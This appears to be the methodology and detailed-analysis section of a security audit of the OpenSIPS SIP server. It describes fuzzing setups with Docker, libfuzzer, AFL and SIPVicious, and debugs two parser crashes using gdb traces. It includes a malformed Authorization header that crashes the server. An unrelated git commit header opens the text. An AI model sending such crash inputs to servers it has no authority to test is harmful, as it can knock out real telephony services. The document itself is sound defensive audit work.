Author: Liviu Chircu <liviu@opensips.org>
Date:   Thu Aug 19 17:20:36 2021 +0300

    Update ChangeLog for 3.2.2
```

Our methodology included the following techniques:

- preparing docker images to run the full OpenSIPS server as a target and for debugging purposes
- usage of blackbox fuzzing techniques where malformed SIP messages are sent to the OpenSIPS server
- usage of coverage-guided fuzzing using libfuzzer where specific functions were fuzzed in memory
- same thing but done using AFL instead of libfuzzer
- tests with AFLNET which tries to combine best of both worlds (greybox approach)
- other vulnerability discovery methods were also taken such as manual code review

5.1.1 Setup of OpenSIPS as a target for fuzz testing, debugging and other general tests

Multiple Docker images were created to facilitate the execution and debugging of different server configurations. The following types of builds were created:

- vanilla: a vanilla build (**`make all`**)
- asan: compiled with AddressSanitizer (**`CFLAGS=-fsanitize=address LDFLAGS=-fsanitize=address MOD_CFLAGS=-fsanitize=address MOD_LDFLAGS=-fsanitize=address`**)
- no-optimization: built with compiler optimization turned off by adding **`DEFS+= -DCC_O0`** to the Makefile template **`Makefile.conf.template`**

These docker images were also used to analyse core dumps, verify bugs and measure their severity. Debugging was done using GDB.

Different configurations were made available to the OpenSIPS instance via mounted volumes, making it easier to switch between different configurations. Core dumps were extracted from the Docker containers by a monitoring script that moves the files from the container to the host machine.

The following is an example of how a test server was started using the vanilla build and a configuration that

made use of the **add_local_rport** [1] function.

```
server_type="vanilla" ./run.sh corefunctions/add_local_rport
```

To debug the OpenSIPS server, a script was used to attach **gdb** to a specific process (typically the UDP listener) inside the OpenSIPS docker container. This provided to be useful during crash analysis and source code debugging.

```
gdb -p `opensips-cli -x mi ps |
    jq '."Processes" | .[] | select(.Type | contains("SIP receiver udp")) | .PID'`
```

The deliverables for this setup are available at
https://github.com/EnableSecurity/opensips-security-audit-2021/tree/main/docker.

5.1.2 Blackbox fuzz testing setup

Blackbox fuzz testing was carried out by using SIPVicious PRO's SIP method fuzzing tool [2] against multiple OpenSIPS instances running different configurations targeting specific functionality. This was achieved by using the Docker Compose environment described in the section 5.1.1.

The first step when testing a specific section of the code was to define a configuration which reached the desired code. The following is an example configuration that tests the **add_body_part** function in the **sipmsgops** module.

```
debug_mode=yes

log_level=3
xlog_level=3
log_stderror=no
log_facility=LOG_LOCAL0

udp_workers=4

socket=udp:PRIVATE_IP:5060

mpath="/usr/local//lib64/opensips/modules/"

loadmodule "proto_udp.so"
loadmodule "sipmsgops.so"

loadmodule "mi_fifo.so"
modparam("mi_fifo", "fifo_name", "/var/run/opensips/opensips_fifo")
modparam("mi_fifo", "fifo_mode", 0666)
```

[1] https://www.opensips.org/Documentation/Script-CoreFunctions-3-2#add_local_rport

[2] https://www.sipvicious.pro/documentation/cui-reference/sip/fuzz/method/

```
route {
   add_body_part("Hello World!", "text/plain");
   exit;
}
```

The server would then be attacked via SIPVicious PRO's SIP fuzz method tool. In the above case, SIPVicious was executed in the following way:

```
sipvicious sip fuzz method udp://TARGET:5060 -m invite
```

TARGET would be replaced by the IP of the running docker container: **`docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' server-docker_opensips_1`**.

This whole process was automated so that multiple tests could be carried out with minimal manual intervention. This method was useful to find several bugs, such as a crash in the **`codec_delete_except_re`** function.

The following is a list of all the functions that were tested:

- **Core functions**:
  - **`add_local_rport`**
  - **`append_branch`**
  - **`force_rport`**
  - **`setdsturi`**
  - **`sethost`**
  - **`sethostport`**
  - **`setport`**
  - **`seturi`**
  - **`setuser`**
  - **`setuserpass`**
  - **`strip_tail`**
- **auth**:
  - **`www_authorize`**
  - **`www_challenge`**
- **sipmsgops**:
  - **`add_body_part`**
  - **`append_hf`**
  - **`append_time`**
  - **`append_urihf`**

- codec_delete_except_re
- codec_delete_re
- codec_delete
- codec_exists_re
- codec_exists
- codec_move_down_re
- codec_move_down
- codec_move_up_re
- codec_move_up
- has_body_part
- has_totag
- insert_hf
- is_audio_on_hold
- is_method
- is_privacy
- is_uri_user_e164
- list_hdr_add_option
- list_hdr_has_option
- list_hdr_remove_option
- remove_body_part
- remove_hf_glob
- remove_hf_re
- remove_hf
- ruri_add_param
- ruri_del_param
- ruri_has_param
- ruri_tel2sip
- sipmsg_validate
- stream_delete
- stream_exists

- sl:
  - reply_error
  - send_reply
- tm:
  - t_add_cancel_reason
  - t_add_hdrs
  - t_anycast_replicate
  - t_check_status
  - t_check_trans
  - t_flush_flags
  - t_inject_branches

        - **t_local_replied**
        - **t_new_request**
        - **t_newtran**
        - **t_on_branch**
        - **t_on_failure**
        - **t_relay**
        - **t_replicate**
        - **t_reply_with_body**
        - **t_reply**
        - **r_wait_for_newbranches**
        - **t_wait_no_more_branches**
        - **t_was_cancelled**
    - **topology hiding**:
        - **topology_hiding**
        - **topology_hiding_match**

Using this method, the following areas of OpenSIPS were tested:

- **parser/**
- **parser/digest/**
- **parser/contact/**
- **parser/sdp**
- AUTH module
- TM module
- DIALOG module
- SIPMSGOPS module
- TOPOLOGY_HIDING module
- MI module

5.1.3 Coverage-guided fuzz testing setup using libfuzzer

Coverage-guided fuzzing using libfuzzer was performed by using a Docker image based on https://github.com/EnableSecurity/fuzzing-images/pkgs/container/fuzzing-images%2Flibfuzzer.

The libfuzzer fuzzing project was structured in the following way:

```
- Dockerfile
- buildimage.sh
- run.sh
- grouprun.sh
- attach.sh
- global-linebyline-report.py
- scripts/
  - prebuild.sh
  - Makefile
  - patches/
```

```
    - ...
- tests/
  - parse_msg/
    - corpus/
    - dict/
    - build.sh
    - main.c
```

These files are part of the deliverables available at https://github.com/EnableSecurity/opensips-security-audit-2021/tree/main/fuzzing/libfuzzer. The following is a summary of what the scripts do:

- **buildimage.sh**: builds the Docker image **opensips-pentest/libfuzzer** that is used for fuzzing
- **run.sh**: runs a specific test
- **grouprun.sh**: runs a group of tests
- **attach.sh**: a helper script that runs an interactive bash in the container running the fuzzer
- **global-linebyline-report.py**: a Python script that aggregates the code coverage report of all the tests into one report

When running tests, the **run.sh** script would be used. The script usage is as follows:

```
./run.sh <test_name> compile
./run.sh <test_name> dryrun
./run.sh <test_name> sample
./run.sh <test_name> min
./run.sh <test_name> run <number_of_seconds> <number_of_rounds> <parallel_amount>
./run.sh <test_name> bash
```

The functions **compile**, **dryrun**, **sample**, **min** and **bash** are mostly used during the building of the tests or while analysing crashes.

- **compile**: compiles the fuzzer's code and exit
- **dryrun**: compiles and run the fuzzing binary against each of the sample corpus
- **sample**: runs the fuzzing binary for a few seconds and then exit
- **min**: minimizes the current corpus
- **bash** builds the fuzzing binary and runs an interactive bash, allowing the tester to manually test the fuzzing binary
- **run**: used to perform the actual fuzzing for a long period of time. The **number_of_seconds** argument determines how long each round takes. The number of rounds to perform is determined by the argument **number_of_rounds**. After each round executes, a minimization process is performed on the corpus. Finally, the **parallel_amount** determines how many parallel fuzzers are run at the same time.

Each test was created in a separate directory under the path **tests/**. Each test contains the following items:

```
- main.c
- build.sh
- corpus/
  - payload1
  - payload2
  - ...
- dict/
  - dict.dict
```

The **main.c** contains the fuzzer's code. **build.sh** contains a set of instructions that patches and builds the final binary. The **corpus** directory contains a set of files with the initial corpus of the test. Finally, a dictionary with potentially interesting payloads are defined in **dict/dict.dict**. For example, when fuzzing the function **parse_msg**, the dictionary contains quaternion values such as **max-**[1] and **forw**[2].

The **build.sh** script would typically perform the following operations:

- Call **/test/prebuild.sh** which will patch the code and perform additional modifications to the code which makes it more fuzzable. More information about this will be discussed later.
- Call **make -s -f /test/Makefile clean** to clean the project
- Call **make -s -f /test/Makefile all -j$(nproc)** to build the fuzzing binary. This Makefile is available in the Docker image and is part of the deliverables.

The following is the boilerplate code for a typical **main.c**:

```
int initialized;

static char buf[BUF_SIZE + 1];
int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size)
{
  if (Size > BUF_SIZE)
  {
    return 0;
  }

  memcpy(buf, Data, Size);
  buf[Size] = 0;

  if (initialized == 0)
  {
    initfuzzer();
    initialized = 1;
  }

  struct sip_msg *req;
  req = (struct sip_msg *)pkg_malloc(sizeof(struct sip_msg));
  if (req == NULL)
  {
    LM_ERR("No more memory\n");
    return 0;
```

[1] https://github.com/OpenSIPS/opensips/blob/master/parser/keys.h#L66

[2] https://github.com/OpenSIPS/opensips/blob/master/parser/keys.h#L67

```
  }
  memset(req, 0, sizeof(struct sip_msg));

  req->buf = buf;
  req->len = Size;
  req->rcv.src_ip.af = AF_INET;
  req->rcv.dst_ip.af = AF_INET;

  if (parse_msg(buf, Size, req) == 0)
  {
    if ((req->via1==0) || (req->via1->error!=PARSE_OK)){
        goto end;
    }

    // call function under test
  }

end:
  free_sip_msg(req);
  pkg_free(req);
  return 0;
}
```

The **initfuzzer()** function performs memory and module initialization, having most of its code from openSIPS' **main.c**. The code is available in https://github.com/EnableSecurity/opensips-security-audit-2021/blob/main/fuzzing/libfuzzer/scripts/patches/fuzzutils.c.

A fuzzer would normally perform the following operations:

1. Perform OpenSIPS initialization once
2. Create a null terminated buffer with the data buffer that is used by the fuzzer
3. Create a **struct sip_msg** and parse the data buffer
4. If the SIP message has been successfully parsed, and contains a Via header (basic check performed by the server code), pass the **sip_msg** structure to the function under test

A common **Makefile** was written to build fuzzer binaries, which converts the relevant source code to object files and then linking everything to build the binary called **fuzzer**.

In order to fuzz test modules such as **tm** and **sl**, and modules with dependencies such as the **dialog** module, slight modifications to the code were required. Although there seems to be an attempt to provide code that compiles the modules statically (such as the preprocessor directive **STATIC_TM**), not all modules were written in this way. The following steps were done to achieve a static build:

1. Changed the module exports name from **exports** to **tm_exports**, **dialog_exports**, etc. This was done by using **sed**

```
sed -i \
    's/struct module_exports exports= {/struct module_exports tm_exports= {/g' \
    modules/tm/tm.c
sed -i 's/exports\.stats/tm_exports.stats/g' modules/tm/tm.c
```

2. Added references to the module exports in **sr_module.c**

```
extern struct module_exports proto_udp_exports;
  extern struct module_exports tm_exports;
  extern struct module_exports dialog_exports;
  extern struct module_exports rr_exports;
```

3. Updated the **register_builtin_modules** function to register the static modules, such as:

```
ret=register_module(&tm_exports,"built-in", 0);
  if (ret<0) return ret;
```

It is suggested that preprocessor directives are added to all modules in order to make the source code more fuzzable.

The functions that are exported via the modules in scope (such as **www_challenge** in the **auth** module) were tested and after each test, the code coverage report was reviewed manually to guarantee that enough code is being covered. Given the size of the code base, a tool was built using Python and weggli [1] that analyzes coverage and inform the testers of potentially untested code which might be susceptible to vulnerabilities. This tool can be found in the deliverables under the **function-usage** directory. The script **weggli-coverage.py** uses the line by line reports generated by the fuzzers and output from weggli to perform these tests. A number of examples of how this script can be used can be found in **find-uncovered-code.sh**.

```
python3 weggli-coverage.py ../libfuzzer-docker/report '{_* $p; $p++;}' `pwd`/.work/opensips
```

This script will first aggregate all line by line coverage reports from the directory **../libfuzzer-docker/report**. Then it will perform a weggli lookup for **{_* $p; $p++;}**, which mean any code that references a pointer and increments its value using **++**. The script would then find lines in the code where this is the case and no fuzzing coverage was done.

Using this method, the following areas of OpenSIPS were tested:

- Core functions (such as **rewrite_ruri**)
- **parser**
- **parser/digest**
- **parser/contact**
- **parser/sdp**
- AUTH module

[1] https://github.com/googleprojectzero/weggli

- DIALOG module
- TM module
- SL module
- MI module
- SIPMSGOPS module
- TOPOLOGY_HIDING module

5.1.4 Coverage-guided fuzz testing setup using AFL

Coverage-guided fuzzing using AFL was performed by using a Docker image based on https://github.com/EnableSecurity/fuzzing-images/pkgs/container/fuzzing-images%2Fafl. The AFL fuzzing project was structured in the following way:

```
- Dockerfile
- buildimage.sh
- run.sh
- attach.sh
- tests/
   - parse_msg/
```

These files are part of the deliverables available at https://github.com/EnableSecurity/opensips-security-audit-2021/tree/main/fuzzing/afl. The following is a summary of what the scripts do:

- **`buildimage.sh`**: builds the Docker image **`opensips-pentest/afl`** that is used for fuzzing
- **`run.sh`**: runs a specific test
- **`attach.sh`**: a helper script that runs an interactive bash in the container running the AFL fuzzer

When running tests, the **`run.sh`** script is used. The script usage is as follows:

```
./run.sh <test_name> compile
./run.sh <test_name> run <number_of_seconds> <parallel_amount>
./run.sh <test_name> bash
```

The functions **`compile`** and **`bash`** are mostly used during the building of the tests or while analysing crashes.

- **`compile`**: compile the source code and exit
- **`bash`**: builds the fuzzer and runs an interactive bash, allowing the tester to manually test the fuzzing binary
- **`run`**: used to perform the actual fuzzing for a long period of time. The **`number_of_seconds`** argument determines how long the fuzzing takes. The **`parallel_amount`** determines how many parallel fuzzers are run at the same time.

Each test was created in a separate directory under the path **`tests/`**. Each test contains the following

items:

```
- main.c
- build.sh
- corpus/
   - payload1
   - payload2
   - ...
- dict/
- patches/
```

The **`main.c`** contains the fuzzer's code as expected by AFL. **`build.sh`** contains a set of instructions that patches and build the binary. The **`corpus`** directory contains a set of files with the initial corpus of the test.

This method only performed fuzzing against the SIP parser since we concentrated our efforts on libfuzzer. However, the tests can be easily ported from libfuzzer to AFL. It is recommended that a common interface is created so that the fuzzer's code can be shared between AFL and libfuzzer.

Using this method, the following areas of OpenSIPS were tested:

- **`parser/`**
- **`parser/digest/`**
- **`parser/contact/`**

5.1.5 Greybox fuzzing setup using AFLNet

Greybox fuzzing was perform using AFLNet [1] based on the Docker image **`ghcr.io/enablesecurity/fuzzing-images/clang12`**. AFLnet tries to bridge the gap between coverage guided fuzzing of source code and black box fuzzing of a running server. Although this technique is useful against OpenSIPS and might discover bugs which might have not been discovered by coverage guided fuzzing, the speed of the fuzzer was painstakingly slow. Given the time constraints of the project, it was decided that this method was not ideal. The setup is part of the deliverables at `https://github.com/EnableSecurity/opensips-security-audit-2021/tree/main/fuzzing/aflnet`.

[1] `https://github.com/aflnet/aflnet`

5.2 Detailed analysis

The following section includes a detailed analysis of some of the vulnerabilities that were identified during the OpenSIPS security audit. This text is referenced from the findings section so that further technicalities may be explored. We therefore use this to supplement our conclusions, especially in terms of the impact of each vulnerability.

5.2.1 Background information on OpenSIPS memory management

OpenSIPS makes use of its own memory management system which provides it with various advantages over using the standard memory allocator. To understand the vulnerabilities that we found during our work, one needs to take into consideration how the OpenSIPS server manages its memory. OpenSIPS memory operates in two modes:

- Private (PKG) memory, that is specific to a single OpenSIPS process
- Shared (SHM) memory, that is shared and accessible by all OpenSIPS processes

The following are PKG memory functions that are of interest:

- **`pkg_malloc(unsigned int size)`**
- **`pkg_free(void *buf)`**
- **`pkg_realloc(void *buf, unsigned int size);`**

Similarly, the SHM memory functions are the following:

- **`shm_malloc(unsigned int size)`**
- **`shm_free(void *buf)`**
- **`shm_realloc(void *buf, unsigned int size)`**

Most of the vulnerabilities that were found during the security audit depended on behaviours specific to the PKG memory functions.

The official documentation [1] provides more details about this.

5.2.2 Why `delete_sdp_line` abuse causes varying behaviour depending on memory use

Here we explain why in some cases, this issue results in a segmentation fault while in other cases, it results in a server shutdown due to an **`abort()`** call.

When parsing an SDP body which does not terminate with a line feed, it was observed that the issue manifests itself in two ways depending if shared memory has been used before or not. If the malicious

[1] https://www.opensips.org/Documentation/Development-Manual-MM-3-2

payload uses an uninitialized shared memory segment then the server crashes due to a segmentation fault. If the shared memory has already been tainted by previous messages, then the server shuts down due to a sanity check that is performed in the function **`del_lump`** in **`data_lump.c`** on line 341:

```
338 if (offset>msg->len){
339     LM_CRIT("offset exceeds message size (%d > %d)"
340                 " aborting...\n", offset, msg->len);
341     abort();
342 }
```

Scenario 1: uninitialized memory

In the first scenario, the memory has not been previously used and therefore was not initialized. By placing a breakpoint at **`codecs.c:353`** and looking at the memory where **end** points to, we notice that the memory after the end of our payload is initialized to zeros. This triggers a typical segmentation fault.

```
(gdb) p end
$1 = 0x56505aeaf699 <buf+537> "telephone-event/8000"
(gdb) x/1024x end
0x56505aeaf699 <buf.6+537>:     0x656c6574      0x6e6f6870      0x76652d65      0x2f746e65
0x56505aeaf6a9 <buf.6+553>:     0x30303038      0x00000000      0x00000000      0x00000000
0x56505aeaf6b9 <buf.6+569>:     0x00000000      0x00000000      0x00000000      0x00000000
...
0x56505aeb0659 <buf.6+4569>:    0x00000000      0x00000000      0x00000000      0x00000000
0x56505aeb0669 <buf.6+4585>:    0x00000000      0x00000000      0x00000000      0x00000000
0x56505aeb0679 <buf.6+4601>:    0x00000000      0x00000000      0x00000000      0x00000000
```

Scenario 2: tainted memory

In the second, alternative scenario, the memory has previously allocated a valid **larger** SDP payload that terminates with a new line (**`\n`**). Then, when the malicious payload is sent, the function **`delete_sdp_line`** would process part of that previous SDP payload once the crashing payload is processed.

This is how the memory looked once the crashing payload has been received after a valid larger payload has been sent. The payload was made up of a sequence of **A** characters followed by **`\n`** to make it easier to identify our valid larger payload.

```
(gdb) x/1024x end
0x55b3b93be699 <buf.6+537>:     0x656c6574      0x6e6f6870      0x76652d65      0x2f746e65
0x55b3b93be6a9 <buf.6+553>:     0x30303038      0x61616100      0x61616161      0x61616161
0x55b3b93be6b9 <buf.6+569>:     0x61616161      0x61616161      0x61616161      0x61616161
0x55b3b93be6c9 <buf.6+585>:     0x61616161      0x61616161      0x61616161      0x61616161
0x55b3b93be6d9 <buf.6+601>:     0x61616161      0x61616161      0x61616161      0x61616161
0x55b3b93be6e9 <buf.6+617>:     0x61616161      0x00000a61      0x00000000      0x00000000
....
```

After **end** reaches **\n**, the function **del_lump** is called on line 358. This function checks if the offset of the data that is being deleted is within the message that is being processed. When this check fails - which is what happens in this case - it calls **abort()** thus shutting down the server.

Source: **data_lump.c**

```
337 /* extra checks */
338 if (offset>msg->len){
339     LM_CRIT("offset exceeds message size (%d > %d)"
340                 " aborting...\n", offset, msg->len);
341     abort();
342 }
```

5.2.3 Why parse_param_name parses beyond the memory buffer

The SIP message that triggers this vulnerability consisted of a malformed **Authorization** header, such as: **Authorization: Digest a a=\"\",real**. The following is the backtrace generated:

```
Program received signal SIGSEGV, Segmentation fault.
q_memchr (size=<optimized out>, c=61, p=0x5599e24d0000 <error: Cannot access memory at
  address 0x5599e24d0000>) at parser/digest/../../ut.h:312
312                     if (*p==(unsigned char)c) return p;
(gdb) bt
+bt
#0  q_memchr (size=<optimized out>, c=61, p=0x5599e24d0000 <error: Cannot access memory at
  address 0x5599e24d0000>) at parser/digest/../../ut.h:312
#1  parse_param_name (_s=_s@entry=0x7ffc0b2692f0, _type=_type@entry=0x7ffc0b2692ec) at
  parser/digest/param_parser.c:216
#2  0x00005599e221cfb2 in parse_digest_param (_c=<optimized out>, _s=0x7ffc0b2692f0) at
  parser/digest/digest_parser.c:282
#3  parse_digest_params (_c=<optimized out>, _s=<optimized out>) at
  parser/digest/digest_parser.c:282
#4  parse_digest_cred (_s=_s@entry=0x7f7089b60ff8, _c=_c@entry=0x7f7089b610a0) at
  parser/digest/digest_parser.c:360
#5  0x00005599e221f03e in parse_credentials (_h=_h@entry=0x7f7089b60fe0) at
  parser/digest/digest.c:78
#6  0x00007f70878304dd in find_credentials (_realm=0x7ffc0b269668, _realm=0x7ffc0b269668,
  _h=0x7ffc0b269480, _hftype=HDR_AUTHORIZATION_T, _m=0x7f7089b5fc28) at api.c:110
#7  pre_auth (_h=0x7ffc0b269480, _hftype=HDR_AUTHORIZATION_T, _realm=0x7ffc0b269668,
  _m=0x7f7089b5fc28) at api.c:185
#8  pre_auth (_m=0x7f7089b5fc28, _realm=0x7ffc0b269668, _hftype=HDR_AUTHORIZATION_T,
  _h=0x7ffc0b269480) at api.c:152
#9  0x00007f70869df900 in authorize (_hftype=HDR_AUTHORIZATION_T, table=0x7ffc0b269680,
  domain=0x7ffc0b269668, _m=0x7f7089b5fc28) at authorize.c:263
#10 www_authorize (_m=0x7f7089b5fc28, _realm=0x7ffc0b269668, _table=0x7ffc0b269680) at
  authorize.c:319
#11 0x00005599e208c02f in do_action (a=0x7f7089925448, msg=0x7f7089b5fc28) at
  action.c:961
#12 0x00005599e208f034 in run_action_list (a=<optimized out>, msg=msg@entry=0x7f7089b5fc28)
  at action.c:181
#13 0x00005599e20e8a75 in eval_elem (e=0x7f7089925570, msg=0x7f7089b5fc28, val=0x0) at
  route.c:613
```

```
#14 0x00005599e20e84a8 in eval_expr (e=0x7f7089925570, msg=<optimized out>,
  val=<optimized out>) at route.c:937
#15 0x00005599e20e854e in eval_expr (e=0x7f70899255d8, msg=msg@entry=0x7f7089b5fc28,
  val=val@entry=0x0) at route.c:953
#16 0x00005599e208bf4b in do_action (a=0x7f7089925b50, msg=0x7f7089b5fc28) at action.c:725
#17 0x00005599e208f034 in run_action_list (a=<optimized out>, msg=0x7f7089b5fc28) at
  action.c:181
#18 0x00005599e208e2de in do_action (a=0x7f7089925c78, msg=0x7f7089b5fc28) at action.c:743
#19 0x00005599e208f3c0 in run_action_list (msg=<optimized out>, a=<optimized out>) at
  action.c:181
#20 run_actions (msg=0x7f7089b5fc28, a=<optimized out>) at action.c:128
#21 run_top_route (sr=..., msg=msg@entry=0x7f7089b5fc28) at action.c:228
#22 0x00005599e20a188a in receive_msg (buf=0x5599e24af440 <buf> "REGISTER sip:172.27.0.3
  SIP/2.0\r\nVia: SIP/2.0/UDP 172.27.0.1:58896;rport;branch=z9hG4bK-83ZZolARa\r\n
  Max-Forwards: 70\r\nFrom: <sip:74833642@172.27.0.3>;tag=nNkDsaHAhAybPyt8\r\nTo:
  <sip:45012982@692134.27.1"..., len=<optimized out>,
  rcv_info=rcv_info@entry=0x7ffc0b269f10, existing_context=existing_context@entry=0x0,
  msg_flags=msg_flags@entry=0) at receive.c:213
#23 0x00005599e2299be5 in udp_read_req (si=<optimized out>, bytes_read=<optimized out>) at
  net/proto_udp/proto_udp.c:186
#24 0x00005599e226d14e in handle_io (idx=<optimized out>, event_type=<optimized out>,
  fm=<optimized out>) at net/net_udp.c:272
#25 io_wait_loop_epoll (repeat=0, t=1, h=<optimized out>) at net/../io_wait_loop.h:308
#26 0x00005599e22726ff in udp_start_processes (chd_rank=<optimized out>,
  startup_done=<optimized out>) at net/net_udp.c:497
#27 0x00005599e203e94b in main_loop () at main.c:227
#28 main (argc=<optimized out>, argv=<optimized out>) at main.c:916
```

By placing a breakpoint at **`param_parser.c:216`**, we could observe the values being passed to **`q_memchr`**:

```
(gdb) b param_parser.c:216
Breakpoint 1, parse_param_name (_s=0x7fff53f28030, _type=0x7fff53f27fb4) at
    parser/digest/param_parser.c:216
216     p = q_memchr(p, '=', end - p);
(gdb) p p
$2 = 0x557dadbb85f3 <buf+371> "a a=\"\",real\r\n\r\n"
(gdb) c
Continuing.

Breakpoint 1, parse_param_name (_s=0x7fff53f28030, _type=0x7fff53f27fb4) at
    parser/digest/param_parser.c:216
216     p = q_memchr(p, '=', end - p);
(gdb) p p
$5 = 0x557dadbb8606 <buf+390> ""
+p end
$6 = 0x557dadbb85fe <buf+382> "\r\n\r\n"
+p end-p
$7 = -8
```

The size passed to **`q_memchr`** is -8. Since the size parameter is defined as **`unsigned int size`**, the value -8 becomes 4294967288:

```
(gdb) s
q_memchr (p=0x557dadbb8606 <buf+390> "", c=61, size=4294967288) at
    parser/digest/../../ut.h:310
```

This happens because at **param_parser.c:216** the value of **p** is greater than the value of **end**, which is outside the allocated buffer. The reason behind this is that the macro **FIRST_QUATERNIONS** does not handle certain conditions correctly. To understand this, we replaced the macros in **param_parser.c** so that we were able to debug the code. This was achieved by using **gcc -E param_parser.c** and then replacing the switch statement block between **param_parser.c:199** and **param_parser.c:204** with the following (line numbers are for reference only):

```
1  switch (((val) | 0x20202020))
2    {
3    case _user_:
4      p += 4;
5      val = (*(p + 0) + (*(p + 1) << 8) + (*(p + 2) << 16) + (*(p + 3) << 24));
6      switch (((val) | 0x20202020))
7      {
8          case 0x656d616e: *_type = PAR_USERNAME; p += 4; goto end;
9      };
10     goto other;
11     ;
12   case _real_:
13     p += 4;
14     if (((*p) | 0x20) == 'm')
15     {
16       *_type = PAR_REALM; p++; goto end;
17     };
18   case _nonce_:
19     p += 4;
20     if (((*p) | 0x20) == 'e')
21     {
22       *_type = PAR_NONCE; p++; goto end;
23     };
24   case _resp_:
25     p += 4;
26     val = (*(p + 0) + (*(p + 1) << 8) + (*(p + 2) << 16) + (*(p + 3) << 24));
27     switch (((val) | 0x20202020))
28     {
29     case 0x65736e6f:
30       *_type = PAR_RESPONSE; p += 4; goto end;
31     };
32     goto other;
33     ;
34   case _cnon_:
35     p += 4;
36     if (((*p) | 0x20) == 'c')
37     {
38       p++;
39       if (((*p) | 0x20) == 'e')
40       {
41         *_type = PAR_CNONCE; p++; goto end;
42       }
```

```
    }
    goto other;
    ;
  case _opaq_:
    p += 4;
    if (((*p) | 0x20) == 'u')
    {
      p++;
      if (((*p) | 0x20) == 'e')
      {
        *_type = PAR_OPAQUE; p++; goto end;
      }
    }
    goto other;
    ;
  case _algo_:
    p += 4;
    val = (*(p + 0) + (*(p + 1) << 8) + (*(p + 2) << 16) + (*(p + 3) << 24));
    switch (((val) | 0x20202020))
    {
    case 0x68746972:
      p += 4;
      if (((*p) | 0x20) == 'm')
      {
        *_type = PAR_ALGORITHM; p++; goto end;
      }
      goto other;
    };
    goto other;
    ;
  default:
    switch (((*p) | 0x20))
    {
    case 'u':
      if (((*(p + 1)) | 0x20) == 'r')
      {
        if (((*(p + 2)) | 0x20) == 'i')
        {
          *_type = PAR_URI; p += 3; goto end;
        }
      }
      break;
    case 'q':
      if (((*(p + 1)) | 0x20) == 'o')
      {
        if (((*(p + 2)) | 0x20) == 'p')
        {
          *_type = PAR_QOP; p += 3; goto end;
        }
      }
      break;
    case 'n':
      if (((*(p + 1)) | 0x20) == 'c')
      {
        *_type = PAR_NC; p += 2; goto end;
      }
      break;
```

```
100     };
101     goto other;
102   }
```

When the quaternion **real** is found, the switch statement jumps to line 12. On line 13, the pointer is incremented by 4, however the next character in the malformed payload is not **m**, so the switch statement falls through to the next case **_nonce**, which increments **p** by another 4. Next, the switch statement falls through to the **_resp_** case, which increments **p** by yet another 4. This would have incremented the pointer by 12. By looking back at the **gdb** output:

```
Breakpoint 1, parse_param_name (_s=0x7fff53f28030, _type=0x7fff53f27fb4) at
    parser/digest/param_parser.c:216
216     p = q_memchr(p, '=', end - p);
(gdb) p p
$5 = 0x557dadbb8606 <buf+390> ""
+p end
$6 = 0x557dadbb85fe <buf+382> "\r\n\r\n"
+p end-p
$7 = -8
```

We can get the value of -8 by subtracting **p_after_parsing** from **end**:

```
0  1  2  3  4  5  6  7  8  9  10 11 12
r  e  a  l  \r \n \r \n \0 \0 \0 \0 \0
           ^ end
^ p_before_parsing
                                    ^ p_after_parsing (incremented by 4 for 3 times)
```

The function **q_memchr** will keep searching until **=** is found which would typically be beyond the memory allocated to the SIP message being processed. If this area of memory has not been previously used, it would be initialized to **\x00**, which would typically lead to a segmentation fault when it reaches an area of inaccessible memory:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000557dad96ede2 in q_memchr (p=0x557dadbc9000 <error: Cannot access memory at
    address 0x557dadbc9000>, c=61, size=4294967288) at parser/digest/../../ut.h:312
312         if (*p==(unsigned char)c) return p;
```

However, if this area of memory has been tainted with previous messages, instead of a crash undefined behaviour could be achieved.

```
Breakpoint 1, parse_param_name (_s=0x7ffeb5d34ca0, _type=0x7ffeb5d34c24) at
    parser/digest/param_parser.c:216
216     p = q_memchr(p, '=', end - p);
(gdb) p p
$1 = 0x563dccc765f3 <buf+371> "a a=\"\",real\r\n\r\n"
```

```
(gdb) x/256c p
0x563dccc765f3 <buf.6+371>: 97 'a'  32 ' '  97 'a'  61 '='  34 '"'  34 '"'  44 ','  114 'r'
0x563dccc765fb <buf.6+379>: 101 'e' 97 'a'  108 'l' 13 '\r' 10 '\n' 13 '\r' 10 '\n' 0 '\000'
0x563dccc76603 <buf.6+387>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc7660b <buf.6+395>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc76613 <buf.6+403>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc7661b <buf.6+411>: 13 '\r' 10 '\n' 88 'X'  45 '-'  72 'H'  101 'e' 97 'a'  100 'd'
0x563dccc76623 <buf.6+419>: 101 'e' 114 'r' 51 '3'  58 ':'  32 ' '  97 'a'  97 'a'  97 'a'
0x563dccc7662b <buf.6+427>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc76633 <buf.6+435>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc7663b <buf.6+443>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc76643 <buf.6+451>: 97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'  97 'a'
0x563dccc7664b <buf.6+459>: 13 '\r' 10 '\n' 69 'E'  120 'x' 112 'p' 105 'i' 114 'r' 101 'e'
0x563dccc76653 <buf.6+467>: 115 's' 58 ':'  32 ' '  54 '6'  48 '0'  13 '\r' 10 '\n' 65 'A'
0x563dccc7665b <buf.6+475>: 117 'u' 116 't' 104 'h' 111 'o' 114 'r' 105 'i' 122 'z' 97 'a'
0x563dccc76663 <buf.6+483>: 116 't' 105 'i' 111 'o' 110 'n' 58 ':'  32 ' '  68 'D'  105 'i'
0x563dccc7666b <buf.6+491>: 103 'g' 101 'e' 115 's' 116 't' 32 ' '  117 'u' 115 's' 101 'e'
0x563dccc76673 <buf.6+499>: 114 'r' 110 'n' 97 'a'  109 'm' 101 'e' 61 '='  34 '"'  49 '1'
0x563dccc7667b <buf.6+507>: 48 '0'  48 '0'  48 '0'  34 '"'  44 ','  114 'r' 101 'e' 97 'a'
...
```

